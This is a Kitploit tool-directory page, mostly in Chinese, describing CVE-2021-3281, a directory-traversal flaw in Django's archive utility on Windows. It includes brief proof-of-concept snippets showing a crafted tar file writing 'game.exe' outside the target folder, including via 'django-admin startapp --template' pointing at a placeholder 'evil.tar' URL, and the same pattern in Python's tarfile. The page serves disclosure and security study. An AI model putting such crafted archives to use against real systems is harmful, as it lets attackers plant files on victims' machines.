Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/lwzsoviet/cve-2021-3281
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHublwzsoviet/cve-2021-3281

CVE-2021-3281

查看仓库
25年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-3281

在 django.utils.archive.py 的 TarArchive 类中,存在一个目录遍历漏洞,位于 lineno:171。

函数调用 os.path.join(to_path, name) 没有检查参数 "name",如果在 Windows 平台上使用该工具,就会存在目录遍历风险,POC 如下:

root@kitploit:~
from django.utils import archive
archive.extract('test.tar','.')
The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:

django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"

POC

root@kitploit:~
from django.utils import archive
archive.extract('test.tar','.')

Python/Lib/tarfile.py 中也存在相同的问题:

root@kitploit:~
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()

并且文档给出了警告,参见 https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall

链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3281

https://www.djangoproject.com/weblog/2021/feb/01/security-releases/

下载工具